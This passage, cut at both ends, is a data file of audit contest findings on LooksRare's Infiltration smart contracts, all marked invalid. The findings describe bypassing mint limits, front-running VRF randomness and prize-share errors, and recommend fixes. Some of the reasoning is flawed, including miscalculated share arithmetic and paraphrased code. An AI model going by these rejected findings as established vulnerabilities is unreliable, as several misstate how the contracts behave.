[LowLevelERC20Transfer.sol](https://github.com/LooksRare/contracts-libs/blob/master/contracts/lowLevelCallers/LowLevelERC20Transfer.sol) is called:\n\n // Excerpt from TransferManager.sol\n function transferERC20(\n address tokenAddress,\n address from,\n address to,\n uint256 amount\n ) external {\n _isOperatorValidForTransfer(from, msg.sender);\n\n if (amount == 0) {\n revert AmountInvalid();\n }\n\n _executeERC20TransferFrom(tokenAddress, from, to, amount);\n }\n \n // Excerpt from LowLevelERC20Transfer.sol\n function _executeERC20TransferFrom(address currency, address from, address to, uint256 amount) internal {\n if (currency.code.length == 0) {\n revert NotAContract();\n }\n\n (bool status, bytes memory data) = currency.call(abi.encodeCall(IERC20.transferFrom, (from, to, amount)));\n\n if (!status) {\n revert ERC20TransferFromFail();\n }\n\n if (data.length > 0) {\n if (!abi.decode(data, (bool))) {\n revert ERC20TransferFromFail();\n }\n }\n }\n\nAs shown in the code above, the approval of $LOOKS should be given to Infiltration contract instead of transer manager.\n## Impact\nfunction `heal` is broken.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L60\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L913\nhttps://github.com/LooksRare/contracts-transfer-manager/blob/29b789149fb798c10445c0bed52e2ad3aa4d3fb7/contracts/TransferManager.sol#L54\nhttps://github.com/LooksRare/contracts-libs/blob/master/contracts/lowLevelCallers/LowLevelERC20Transfer.sol#L24C33-L24C33\n## Tool used\n\nManual Review\n\n## Recommendation\nUse `IERC20(LOOKS).approve(address(Infiltration), costToHealInLOOKS);`instead of `IERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS);`","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/079.md"}} +{"title":"maximumAmountMintedPerAddress can be bypassed by anyone","severity":"info","body":"Loud Myrtle Tiger\n\nmedium\n\n# maximumAmountMintedPerAddress can be bypassed by anyone\n## Summary\n`maximumAmountMintedPerAddress` being bypassed by the owner is an acceptable risk as documented. However, it can actually be bypassed by anyone.\n\n## Vulnerability Detail\nEach address can only mint up to `maximumAmountMintedPerAddress`. However, users can use `transferFrom` from another address to transfer to itself, hence allowing a single address to go over the mint limit even if it is not the owner. `transferFrom` does not check that the `to` address is below the `maximumAmountMintedPerAddress`.\n\n## Impact\nAny users can bypass `maximumAmountMintedPerAddress`, even if it is not the owner.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L924-L930\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIn `transferFrom`, check that `to` address is below the limit after the transfer.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/076.md"}} +{"title":"The secondaryPrizePoolShareBp function can return share amounts over 100% for certain inputs.","severity":"info","body":"Polite Tin Dog\n\nhigh\n\n# The secondaryPrizePoolShareBp function can return share amounts over 100% for certain inputs.\n## Summary\nThe share formula has the potential for manipulation due to lack of input validation, allowing share percentages over 100%. This can be fixed by capping the maximum share percentage\n## Vulnerability Detail\nThe secondaryPrizePoolShareBp function can return share amounts over 100% for certain inputs.\nThe vulnerable code is:\n\n function secondaryPrizePoolShareBp(uint256 placement) public pure returns (uint256 share) {\n share = (1_31817 * (995_000_000 / (placement * 49) - uint256(15_000_000) / 49)) / 1_000_000_000; \n }\n\nThis calculates the share percentage for a given placement.\n\nThe vulnerability is that for small values of placement, the 995_000_000 / (placement * 49) term can be very large, resulting in share being over 100%.\n\nFor example, if placement is 1, then share is calculated as:\n\n share = (1_31817 * (995_000_000 / (1 * 49) - 15_000_000 / 49)) / 1_000_000_000 \n = 1_31817 * (20,306,122 - 306,122) / 1_000_000 \n = 131.817%\n\nThis allows the share percentage for 1st place to be over 100%, effectively draining the secondary prize pool.\n\n## Impact\nIt could enable manipulating the share amounts in an unfair way. Specifically:\n• By setting a low placement value, a user could claim more than their fair share of the secondary prize pool. For example, if someone claims the #1 spot, they could get over 100% of the pool.\n• This could leave less for legitimate winners with higher placements. For shares over 100%, each extra percent claimed reduces what others get.\nThe severity seems high since it undermines the fairness of the prize distribution. Allowing invalid inputs leading to incorrect outputs suggests a critical logic flaw.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1060-L1062\n## Tool used\n\nManual Review\n\n## Recommendation\nWe need to cap the maximum share percentage at 100%:\n\n function secondaryPrizePoolShareBp(uint256 placement) public pure returns (uint256 share) {\n\n uint256 calculatedShare = (1_31817 * (995_000_000 / (placement * 49) - uint256(15_000_000) / 49)) / 1_000_000_000;\n\n if (calculatedShare > 100_000) { // 100% in basis points\n return 100_000; \n }\n\n return calculatedShare;\n\n }\n\nThis caps the maximum share percentage at 100, preventing manipulation of the share amounts.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/075.md"}} +{"title":"vulnerability that could allow an attacker to falsely claim a share of the secondary prize pool.","severity":"info","body":"Polite Tin Dog\n\nhigh\n\n# vulnerability that could allow an attacker to falsely claim a share of the secondary prize pool.\n## Summary\nThe lack of validation on the provided agentId's rank allows an exploit to claim unearned secondary prizes. This can be mitigated by verifying the agentId rank is within the top 50 before awarding prizes.\nNote: this vulnerability does not impact the grand prize, which has a separate claim function and correctly verifies game completion and ownership. But it could allow falsely claiming large shares of the secondary prize pool.\n\n## Vulnerability Detail\nThe contract does not validate that the provided agentId is actually ranked in the top 50 before awarding secondary prize shares. This is a vulnerability that could allow an attacker to falsely claim a share of the secondary prize pool.\nThe relevant code is in the `claimSecondaryPrizes()` function:\n\n function claimSecondaryPrizes(uint256 agentId) external nonReentrant {\n // No check that agentId is actually in top 50\n\n uint256 placement = agentIndex(agentId);\n _assertValidPlacement(placement);\n\n // Award share based on placement\n // ...\n }\n\nThe problem is that `agentIndex(agentId)` simply returns the index of the agent in the mapping, regardless of whether it is actually a top ranked agent.\nAn attacker could simply provide any arbitrary agentId, and would be awarded a share based on its index. For example, an attacker with agent #100 could call `claimSecondaryPrizes(100)` and receive a share meant for a top ranked agent.\n\n## Impact\nAttackers could drain the secondary prize pool by claiming shares for inactive or non-top ranked agents. This would prevent legitimate top-ranked agents from claiming their rightful secondary prize shares.\nI would classify this as a high severity issue since it impacts the core functionality of distributing secondary prizes correctly. Allowing unauthorized agents to claim prize shares breaks the core rules and incentives of the game.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L677-L711\n## Tool used\n\nManual Review\n\n## Recommendation\nThe contract should add a check that the provided agentId is actually within the top NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS agents by rank. For example:\nsolidity\n\n function claimSecondaryPrizes(uint256 agentId) external nonReentrant {\n\n // Only agents ranked 1-50 are eligible\n require(agentIndex(agentId) <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS, \"Agent not ranked in top 50\");\n \n // Rest of function\n }\nThis would prevent an attacker from claiming shares for arbitrary agentIds that are not actually top ranked","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/074.md"}} +{"title":"frontrunLock is initially locked, but there's no check that it gets unlocked after startGame() is called. An error could leave it locked forever.","severity":"info","body":"Polite Tin Dog\n\nhigh\n\n# frontrunLock is initially locked, but there's no check that it gets unlocked after startGame() is called. An error could leave it locked forever.\n## Summary\n`frontrunLock` is initially locked, but there's no check that it gets unlocked after `startGame()` is called. An error could leave it locked forever. \n## Vulnerability Detail\nThere is a potential issue if frontrunLock gets stuck in the locked state after startGame() is called.\nThe frontrunLock variable controls whether agents can call the escape() and heal() functions. It is initially set to FRONTRUN_LOCK__LOCKED in the constructor:\n\n uint8 private frontrunLock = FRONTRUN_LOCK__LOCKED;\n\nThe `startGame()` function requests randomness from Chainlink VRF to start the first round, but does not explicitly unlock the frontrunLock:\n\n function startGame() external onlyOwner {\n\n // ...\n\n _requestForRandomness();\n\n }\n\nThe `frontrunLock` gets unlocked when the VRF fulfillment callback is triggered in `fulfillRandomWords()`:\n\n function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {\n\n // ...\n\n frontrunLock = FRONTRUN_LOCK__UNLOCKED;\n\n }\n\nThe issue is that if the VRF request fails for some reason, the` fulfillRandomWords()` callback would never be called, and `frontrunLock` would remain locked forever.\nThis would prevent agents from ever being able to call `escape()` or `heal()`.\n\nA detailed explanation: \nThe `frontrunLock` is initialized to FRONTRUN_LOCK__LOCKED (value 2) in the constructor.\nIn `startGame()`, a VRF randomness request is made by calling `_requestForRandomness()`, which sets `frontrunLock` back to FRONTRUN_LOCK__LOCKED.\nThe `frontrunLock` gets unlocked again in `fulfillRandomWords()` when the VRF response is received by setting it to FRONTRUN_LOCK__UNLOCKED (value 1).\nSo the expected flow is:\n1. `frontrunLock` starts locked\n2. `startGame()` makes VRF request\n3. `_requestForRandomness()` locks `frontrunLock`\n4. `fulfillRandomWords()` unlocks `frontrunLock`\nThe consequence is that if `fulfillRandomWords()` fails to execute for some reason after `startGame()`, the frontrunLock remains locked forever, preventing any `escape()` or `heal()` calls.\nThis could happen for example if the fulfillRandomWords() runs out of gas due to a too low gas limit.\n\n\n## Impact\nPlayers would not be able to call the escape() or heal() functions. This would essentially break core gameplay functionality.\nI would consider this a critical severity issue, as it would completely prevent players from escaping or healing their agents once the game has started. The `frontrunLock` is meant to mitigate frontrunning when requesting randomness, but it needs to be unlocked once the request is fulfilled so players can play the game.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L522\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1244\n\n## Tool used\n\nManual Review\n\n## Recommendation\nA check could be added to startGame() to explicitly unlock frontrunLock after the VRF request:\n\n function startGame() external onlyOwner {\n\n // ...\n\n _requestForRandomness();\n\n frontrunLock = FRONTRUN_LOCK__UNLOCKED;\n\n }\n\nThis ensures that even if the VRF request fails, frontrunLock gets unlocked so the game can continue.\nThe contract owner could also call a new function to unlock frontrunLock in case it gets stuck.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/072.md"}} +{"title":"`Transferfrom` is not protected by frontrun lock","severity":"info","body":"Soft Tortilla Fox\n\nhigh\n\n# `Transferfrom` is not protected by frontrun lock\n## Summary\n`Transferfrom` is not well protected, make front running attacks profitable.\n\n## Vulnerability Detail\nMalicious users can detect random numbers sent by VRFCoordinatorV2 to this contract when they are in the mempool, and use the algorithm in the contract to calculate whether they will be wounded in this turn, making it possible for frontrun attack.\n\nAs described in the official document of [Chainlink VRF](https://docs.chain.link/vrf/v2/security#dont-accept-bidsbetsinputs-after-you-have-made-a-randomness-request), the contract should \n> Don't accept bids/bets/inputs after you have made a randomness request\n\n## Impact\nPeople may bid for active agents on trading platforms, Malicious users can frontrun the random number and sell their agent when frontrun lock is on, which make bidders to purchase wounded agents at the price of purchasing active agents. This should be prohibited because it grants privileges to users with MEV resources.\n\n## Code Snippet\n\n function transferFrom(address from, address to, uint256 tokenId) public payable override {\n AgentStatus status = agents[agentIndex(tokenId)].status;\n if (status > AgentStatus.Wounded) {\n revert InvalidAgentStatus(tokenId, status);\n }\n super.transferFrom(from, to, tokenId);\n }\n\n## Tool used\n\nManual Review , Foundry\n\n## Recommendation\nAdd `_assertFrontrunLockIsOff` for `Transferfrom`. This will not significantly increase the gas used for transaction, and the time spent waiting for a response from ChainLink accounts for a relatively small proportion of the round time, so it won't affect the vast majority of transactions either.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/071.md"}} +{"title":"looksrare Audit Report","severity":"info","body":"Refined Champagne Dove\n\nmedium\n\n# looksrare Audit Report\n## Summary\nThis report provides an audit of the LooksRare smart contract, including a review of its code, potential vulnerabilities, and recommendations for improving its security. LooksRare is a community-first NFT marketplace boosting over $1.3billion in rewards.\nThe audit was carried out for two smart contracts in scope \nInfiltration.sol and InfiltrationPeriphery.sol.\nIn carrying out this audit to evaluate the risk we employed the use of \nanalysis and static analysis tool such as slither to identify issues and there inherent severities. Issues are further escalated by deploying smart contracts on testnet to determine if a PoC can be use to demonstrate the possibilities of an exploit. \nFurthermore, we performed the audit following procedures such as\nAnalysing the code for Basic Coding Bugs, manually verifying and looking out for code bugs.\nAssessing the business logics, with the intended functionalities as explained in docs of the smart contract.\nWe engage in iterative reviews of the business logic against whilst examining the system operations, and\nplace DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs.\nWe also provide additional recommendation as necessary \nfor the improvement of the code base.\n## Vulnerability Detail\n\nHere is the summary of our findings after analysing the looksRare smart contracts;\n\n--------------------------------\nSeverity \t |Findings |\n-------------------------------\nHigh\t\t|0\t |\nMedium \t\t|1\t | \n----------------------------\n\n1: Future Issues\n\nReturn Value from function Ignored May Cause Unexpected Behaviour\n\nDescription\n\nIn the heal function of the InfiltrationPeriphery contract, IERC20 interface's approve function which returns a bool. The IERC20.approve was called without making use of the return value, it not guaranteed to execute successfully in every instance which could lead to unreliable contract behaviour. Although it does not lead to a grave potential security danger, functional integrity is an issue.\n\n## Impact\nThese vulnerabilities poses a medium risk to the \"looksRare\" smart contract. It could lead to unexpected behaviour in the smart contract when return always assumed true actually returns false. This affects health contract functionality.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L45-L60\n}\n\n## Tool used\nslither\nManual Review\n\n## Recommendation\nTo mitigate this vulnerability, implement making use of the return value from the IERC20.approve function for further computation.\nSuggestion\n''''\nbool success = IERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS);\n\nif(success).....","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/069.md"}} +{"title":"Gas Limit for VRF's callbacks should be changeable","severity":"info","body":"Noisy Vanilla Dove\n\nmedium\n\n# Gas Limit for VRF's callbacks should be changeable\n## Summary\nThe protocol requests for randomness via '_requestForRandomness' with a limit of \"2_500_000\" gas for the \"fulfillRandomWords\" callback. However, hardcoding a gas limit can be risky because gas prices are subject to EVM changes. Specially for VRF, which the docs states that the callback must not revert ([https://docs.chain.link/vrf/v2/security#fulfillrandomwords-must-not-revert](url)) since VRF never tries to call it again.\n\n## Vulnerability Detail\n1. In `_requestForRandomness()`, the `callbackGasLimit` is set: `callbackGasLimit: uint32(2_500_000)`\n```solidity\n function _requestForRandomness() private {\n uint256 requestId = VRF_COORDINATOR.requestRandomWords({\n keyHash: KEY_HASH,\n subId: SUBSCRIPTION_ID,\n minimumRequestConfirmations: uint16(3),\n callbackGasLimit: uint32(2_500_000),\n numWords: uint32(1)\n });\n```\n2. The gas shouldn't be hardcoded, because if it isn't enough and a revert happen, Chainlink states that VRF don't call the callback again. \n3. In this scenario, protocol has a `startNewRound` function to re-request randomness. However, the method shouldn't exist as stated in my other report. \n\n## Impact\n1. Likelihood: Low, it needs EVM updates and network congestions to happen.\n2. Severity: High, because VRF don't try to call the callback again and ideally `startNewRound` for re-requests shouldn't exist as stated in my other report, which would make reverts in the callback a denial of service.\n3. Impact: Low Likelihood + High Severity = Medium Impact.\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1298](url)\n```solidity\n callbackGasLimit: uint32(2_500_000),\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd an admin function that allows changing the callbackGasLimit.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/068.md"}} +{"title":"Infiltration cannot receive native token","severity":"info","body":"Nutty Berry Nuthatch\n\nmedium\n\n# Infiltration cannot receive native token\n## Summary\n\nThe InfiltrationPeriphery have a receive() method so that they can be funded from the swap router. But the Infiltration does not, and therefore it cannot be funded from the swap router.\n\n## Vulnerability Detail\n\nThe Infiltration does not have a receive() method , and therefore it is incompatible with the native token.\nOn https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery#34, LOOK is initialized with new instance of Infiltration.\nAnd on https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery#50 and https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery#83, LOOK is used as tokenOut. \nSo If Infiltration does not have a receive() method, it cannot be funded from SwapRouter.\n\n## Impact\n\nInfiltration cannot be funded from the swap router.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1759\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n\nAdd a receive() method.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/067.md"}} +{"title":"Front-running the escape option to receive rewards before agents get wounded","severity":"info","body":"Bubbly Teal Rooster\n\nmedium\n\n# Front-running the escape option to receive rewards before agents get wounded\n## Summary\nFront-running the escape option to receive rewards before agents get wounded\n\n## Vulnerability Detail\nThe function `rawFulfillRandomWords()` is designed to be called by the VRFCoordinator and allows the VRFCoordinator to provide random numbers to the protocol. However, this setup can be vulnerable to front-running.\n```solidity\n function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external {\n if (msg.sender != vrfCoordinator) {\n revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator);\n }\n fulfillRandomWords(requestId, randomWords);\n }\n```\nHere's how the issue arises:\n\nThe `VRFCoordinator` generates and provides random numbers through this function.\n\nMalicious actors can monitor and observe the random numbers generated by the VRFCoordinator.\n\nBased on the observed random numbers, malicious actors can calculate the outcome of the game or the impact on their agents, such as determining which agents will get wounded.\n\nArmed with this information, malicious actors can then prematurely call the `escape()` function to obtain the rewards for escaping before the actual game results are revealed.\n```solidity\n function escape(uint256[] calldata agentIds) external nonReentrant {\n _assertFrontrunLockIsOff();\n\n uint256 agentIdsCount = agentIds.length;\n _assertNotEmptyAgentIdsArrayProvided(agentIdsCount);\n\n uint256 activeAgents = gameInfo.activeAgents;\n uint256 activeAgentsAfterEscape = activeAgents - agentIdsCount;\n _assertGameIsNotOverAfterEscape(activeAgentsAfterEscape);\n\n```\n\n## Impact\nThis scenario allows malicious actors to gain an unfair advantage by manipulating the game's outcome based on foreknowledge of the random numbers.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L716-L796\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue, additional measures may need to be implemented to ensure that the game outcomes are not prematurely revealed or exploited by external actors.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/066.md"}} +{"title":"`startNewRound` gives VRF Service Provider the option to withhold fulfillments","severity":"info","body":"Noisy Vanilla Dove\n\nmedium\n\n# `startNewRound` gives VRF Service Provider the option to withhold fulfillments\n## Summary\n`startNewRound` is a function used to re-request randomness if the fulfillment didn't happen in 24 hours. However, the VRF Security docs ([https://docs.chain.link/vrf/v1/security#do-not-re-request-randomness](url)) states that any re-requests of randomness is an incorrect use of the service, because although the randomness is trusted, the service provider can withhold a fulfillment that it's unfavourable to him and wait for the re-request hoping for a better outcome.\n\n## Vulnerability Detail\n1. `startNewRound` function allows any caller to re-request randomness for a round if fulfillment didn't happen in the last 24 hours:\n```solidity\n function startNewRound() external nonReentrant {\n uint256 currentRoundId = gameInfo.currentRoundId;\n if (currentRoundId == 0) { \n revert GameNotYetBegun();\n }\n if (block.number < uint256(gameInfo.currentRoundBlockNumber).unsafeAdd(BLOCKS_PER_ROUND)) {\n revert TooEarlyToStartNewRound();\n }\n uint256 activeAgents = gameInfo.activeAgents;\n if (activeAgents == 1) {\n revert GameOver();\n }\n if (block.timestamp < uint256(gameInfo.randomnessLastRequestedAt).unsafeAdd(1 days)) {\n revert TooEarlyToRetryRandomnessRequest();\n }\n if (activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n uint256 woundedAgents = gameInfo.woundedAgents;\n if (woundedAgents != 0) {\n uint256 killRoundId = currentRoundId > ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD\n ? currentRoundId.unsafeSubtract(ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD)\n : 1;\n uint256 agentsRemaining = agentsAlive();\n uint256 totalDeadAgentsFromKilling;\n while (woundedAgentIdsPerRound[killRoundId][0] != 0) {\n uint256 deadAgentsFromKilling = _killWoundedAgents({\n roundId: killRoundId,\n currentRoundAgentsAlive: agentsRemaining\n });\n unchecked {\n totalDeadAgentsFromKilling += deadAgentsFromKilling;\n agentsRemaining -= deadAgentsFromKilling;\n ++killRoundId;\n }\n }\n\n // This is equivalent to\n // unchecked {\n // gameInfo.deadAgents += uint16(totalDeadAgentsFromKilling);\n // }\n // gameInfo.woundedAgents = 0;\n assembly {\n let gameInfoSlot0Value := sload(gameInfo.slot)\n let deadAgents := and(shr(GAME_INFO__DEAD_AGENTS_OFFSET, gameInfoSlot0Value), TWO_BYTES_BITMASK)\n\n gameInfoSlot0Value := and(\n gameInfoSlot0Value,\n // This is equivalent to\n // not(\n // or(\n // shl(GAME_INFO__WOUNDED_AGENTS_OFFSET, TWO_BYTES_BITMASK),\n // shl(GAME_INFO__DEAD_AGENTS_OFFSET, TWO_BYTES_BITMASK)\n // )\n // )\n 0xffffffffffffffffffffffffffffffffffffffffffffffff0000ffff0000ffff\n )\n\n gameInfoSlot0Value := or(\n gameInfoSlot0Value,\n shl(GAME_INFO__DEAD_AGENTS_OFFSET, add(deadAgents, totalDeadAgentsFromKilling))\n )\n\n sstore(gameInfo.slot, gameInfoSlot0Value)\n }\n }\n }\n _requestForRandomness();\n }\n```\n2. However, this gives the option to the Service Provider to withhold a fulfillment, because he knows a re-request always happen if the first fulfillment wasn't provided.\n3. Service Provider waits for the re-request and fulfills the request that best benefits him. Although he can't predict the outcome, because randomness is trusted, he can \"roll the dice\" twice.\n\n## Impact\n1. Likelihood: Low, the Service Provider needs to have an agent in the protocol or have contact with a player.\n2. Severity: High, because although the randomness is trusted, the Service Provider has the ability to \"roll the dice\" twice, while a usual player only one.\n3. Impact: Low Likelihood + High Severity: Medium Impact.\n\n## Code Snippet\nThe snippet: [https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L579-651](url)\n```solidity\n function startNewRound() external nonReentrant {\n uint256 currentRoundId = gameInfo.currentRoundId;\n if (currentRoundId == 0) { \n revert GameNotYetBegun();\n }\n if (block.number < uint256(gameInfo.currentRoundBlockNumber).unsafeAdd(BLOCKS_PER_ROUND)) {\n revert TooEarlyToStartNewRound();\n }\n uint256 activeAgents = gameInfo.activeAgents;\n if (activeAgents == 1) {\n revert GameOver();\n }\n if (block.timestamp < uint256(gameInfo.randomnessLastRequestedAt).unsafeAdd(1 days)) {\n revert TooEarlyToRetryRandomnessRequest();\n }\n if (activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n uint256 woundedAgents = gameInfo.woundedAgents;\n if (woundedAgents != 0) {\n uint256 killRoundId = currentRoundId > ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD\n ? currentRoundId.unsafeSubtract(ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD)\n : 1;\n uint256 agentsRemaining = agentsAlive();\n uint256 totalDeadAgentsFromKilling;\n while (woundedAgentIdsPerRound[killRoundId][0] != 0) {\n uint256 deadAgentsFromKilling = _killWoundedAgents({\n roundId: killRoundId,\n currentRoundAgentsAlive: agentsRemaining\n });\n unchecked {\n totalDeadAgentsFromKilling += deadAgentsFromKilling;\n agentsRemaining -= deadAgentsFromKilling;\n ++killRoundId;\n }\n }\n\n // This is equivalent to\n // unchecked {\n // gameInfo.deadAgents += uint16(totalDeadAgentsFromKilling);\n // }\n // gameInfo.woundedAgents = 0;\n assembly {\n let gameInfoSlot0Value := sload(gameInfo.slot)\n let deadAgents := and(shr(GAME_INFO__DEAD_AGENTS_OFFSET, gameInfoSlot0Value), TWO_BYTES_BITMASK)\n\n gameInfoSlot0Value := and(\n gameInfoSlot0Value,\n // This is equivalent to\n // not(\n // or(\n // shl(GAME_INFO__WOUNDED_AGENTS_OFFSET, TWO_BYTES_BITMASK),\n // shl(GAME_INFO__DEAD_AGENTS_OFFSET, TWO_BYTES_BITMASK)\n // )\n // )\n 0xffffffffffffffffffffffffffffffffffffffffffffffff0000ffff0000ffff\n )\n\n gameInfoSlot0Value := or(\n gameInfoSlot0Value,\n shl(GAME_INFO__DEAD_AGENTS_OFFSET, add(deadAgents, totalDeadAgentsFromKilling))\n )\n\n sstore(gameInfo.slot, gameInfoSlot0Value)\n }\n }\n }\n _requestForRandomness();\n }\n```\n## Tool used\nManual Review\n\n## Recommendation\nAs chainlink suggests, remove the function to remove re-rolls.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/064.md"}} +{"title":"Infiltration::setMintPeriod() - Here `block.timestamp` should never be `== newMintEnd`, i.e. case `<= newMintEnd` is incorrect logic, should be `< newMintEnd`.","severity":"info","body":"Narrow Cornflower Chimpanzee\n\nmedium\n\n# Infiltration::setMintPeriod() - Here `block.timestamp` should never be `== newMintEnd`, i.e. case `<= newMintEnd` is incorrect logic, should be `< newMintEnd`.\n## Summary\n\nJust a logic error case of using `>` (implying `<=`) when should be using `>=` (implying `<`) as valid case.\n\n## Vulnerability Detail\n\nFollow the logic:\n\nMeans valid logic is: `newMintStart < newMintEnd`:\n```solidity\n if (newMintStart >= newMintEnd) {\n revert InvalidMintPeriod();\n }\n```\nMeans valid logic is: `block.timestamp <= newMintStart`:\n```solidity\n if (newMintStart != 0) {\n if (block.timestamp > newMintStart) {\n revert MintStartIsInThePast();\n }\n```\nBad logic is: `block.timestamp <= newMintEnd`, and the valid logic should be: `block.timestamp < newMintEnd`:\n```solidity\n if (block.timestamp > newMintEnd || newMintEnd < mintEnd) {\n revert MintCanOnlyBeExtended();\n }\n```\n\n## Impact\n\nLow, as nothing bad is possible to happen, because the first two `if` blocks' reverts will prevent this scenario where `block.timestamp == newMintEnd`, but still the logic of the implementation should be fixed.\n\nSo this cannot be a medium severity, unless judges disagree, it should be QA or low, but it's important for sponsor to fix this, regardless.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L416-L443\n\n## Tool used\nVSC.\nManual Review\n\n## Recommendation\n\nTo fix the logic, meaning that `block.timestamp < newMintEnd` is valid, we need to change the below from `>` to `>=`:\n```diff\n- if (block.timestamp > newMintEnd || newMintEnd < mintEnd) { /// @audit means `<=` which is invalid for case `==`\n+ if (block.timestamp >= newMintEnd || newMintEnd < mintEnd) { /// @audit means `<` which is valid\n revert MintCanOnlyBeExtended();\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/063.md"}} +{"title":"Because of missing slippage parameter, mint() can be front-runned","severity":"info","body":"Dandy Brick Gerbil\n\nmedium\n\n# Because of missing slippage parameter, mint() can be front-runned\n## Summary\n\nMissing slippage parameter in mint() makes it vulnerable to front-run attacks and exposes users to unwanted slippage.\n\n## Vulnerability Detail\nThe current implementation of the mint() function lacks a parameter for controlling slippage, which makes it vulnerable to front-run attacks. Transactions involving large volumes are particularly at risk, as the minting process can be manipulated, resulting in price impact. This manipulation allows the reserves of the pool to be controlled, enabling a frontrunner to make the transferred token to appear more valuable than its actual worth.\n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L468-L492\n## Tool used\n\nManual Review\n\n## Recommendation\n Allow users to specify their own slippage value","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/060.md"}} +{"title":"`ETH` sent to InfiltrationPeriphery.sol via unintended routes may remain trapped.","severity":"info","body":"Narrow Cornflower Chimpanzee\n\nhigh\n\n# `ETH` sent to 